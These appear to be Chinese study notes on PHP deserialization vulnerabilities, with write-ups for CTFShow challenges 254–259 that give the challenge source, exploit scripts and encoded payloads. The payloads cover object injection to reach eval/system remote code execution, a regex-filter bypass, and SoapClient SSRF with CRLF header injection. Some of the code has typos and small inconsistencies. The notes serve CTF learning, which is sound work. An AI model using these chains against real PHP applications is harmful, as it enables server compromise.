知识点
1、什么是反序列化操作? -格式转换
2、为什么会出现安全漏洞? -魔术方法
3、反序列化漏洞如何发现? -对象逻辑
4、反序列化漏洞如何利用?-POP链构造
补充: 反序列化利用大概分类三类
-魔术方法的调用逻辑 -如触发条件
-语言原生类的调用逻辑 -如SoapClient
-语言自身的安全缺陷 -如CVE-2016-7124
反序列化课程点:
-PHP&JAVA&Python
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换为对象
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
PHP反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致啊攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果,在反序列化的过程中自动触发了某些
class demotest{
public $name = 'xiaodi';
public $sex = 'man';
public $age = '29';
}
将代码转换成我们熟知的字符串,字母的格式,这样我们在传输数据的时候更加的方便,比如说这上面的代码之间的空格就可以轻松的去表示。
老大的php反序列化文章:https://mp.weixin.qq.com/s/DGXCVu9CEPjLnNWlOGDvyg
案例
序列化操作例子-魔术方法&漏洞引发&变量修改等
<?php
class demotest{
public $name = 'xiaodi';
public $sex = 'man';
public $age = '29';
}
$example = new demotest();
$s = serialize($example);
echo $s.'<br>';
?>
O:8:”demotest”:3:{s:4:”name”;s:6:”xiaodi”;s:3:”sex”;s:3:”man”;s:3:”age”;s:2:”29”;} //运行结果为字符串
“O”:object
“8”:长度
“3”:3个变量
“s”:string类型
“4”:长度
<?php
class demotest{
public $name = 'xiaodi';
public $sex = 'man';
public $age = 29; //如果把单引号去掉,序列化结果是?
}
$example = new demotest();
$s = serialize($example);
echo $s.'<br>';
?>
O:8:”demotest”:3:{s:4:”name”;s:6:”xiaodi”;s:3:”sex”;s:3:”man”;s:3:”age”;i:29;} //运行结果中,age这里的类型变为i,也就是int类型
序列化:对象转换成字符串或数组
魔术方法利用点分析:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象new的时候会自动调用
__destruct(): //析构函数当对象被销毁时会自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()时触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在,该方法会被优先调用
CTFShow反序列化题型-原生类&POP构造
254
//题目源码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this ->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is".$flag;
}else{
echo "no vip,no flag";
}
}
}
$username = $_GET['username'];
$password = $_GET['password'];
if(isset($username) && isset($password)) {
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这题不涉及魔术方法,都是自己写的函数
payload:?username=xxxxxx&password=xxxxxx
这题了解一下函数的应用和逻辑就可以了,和反序列化没啥关系
255
//题目源码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false; //默认不是vip,但是这里不会自动转换为true
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is".$flag;
}else{
echo "no vip,no flag";
}
}
}
$username = $_GET['username'];
$password = $_GET['password'];
if(isset($username) && isset($password)) {
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
256
EXP
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;//保证isVip执行的时候为真
public function checkVip(){
return $this -> isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!=$this->password){
echo "your flag is".$flag;
}
}else{
echo 'no vip,no flag';
}
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a))
?>
payload:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
O:11:”ctfShowUser”:3:{s:8:”username”;s:1:”x”;s:8:”password”;s:1:”y”;s:5:”isVip”;b:1;}
257
//题目源码
error_reporting(0);
highlight_file(__FILE__);
//这里出现了三个对象
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public funcition __construct(){
$this->class = new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $usr='xxxxxx';
public function getInfo(){
eval($this->code);
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);//反序列化造成rce漏洞
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);//接收cookie值
$user->login($username,$password);
}
EXP
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat f*');";
}
$a=new backDoor();
echo urlencode(serialize($a))
?>
payload:
O%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27cat+f%2A%27%29%3B%22%3B%7Dv
258
//题目源码
error_reporting(0);
highlight_file(__FILE__);
//这里出现了三个对象
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public funcition __construct(){
$this->class = new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $usr='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);//反序列化造成rce漏洞
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+/i',$_COOKIE['user'])){\
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
EXP
<?php
class ctfShowUser{
private $class= 'backDoor';
public function __construct() {
$this->class = new backDoor();
}
}
class backDoor{
private $code = 'system("cat flag.php");';
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);
?>
payload:
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
259-PHP原生类反序列化的利用
这题在flag.php中有相关代码:
$xff = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!='127.0.0.1'){
die('error')
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
//需要一个token为ctfshow,还需要一个ip地址等于127.0.0.1
EXP
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1'))//调用原生链
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
D盾一扫就看到了webshell在zp.php,在里面发现了连接webshell的密码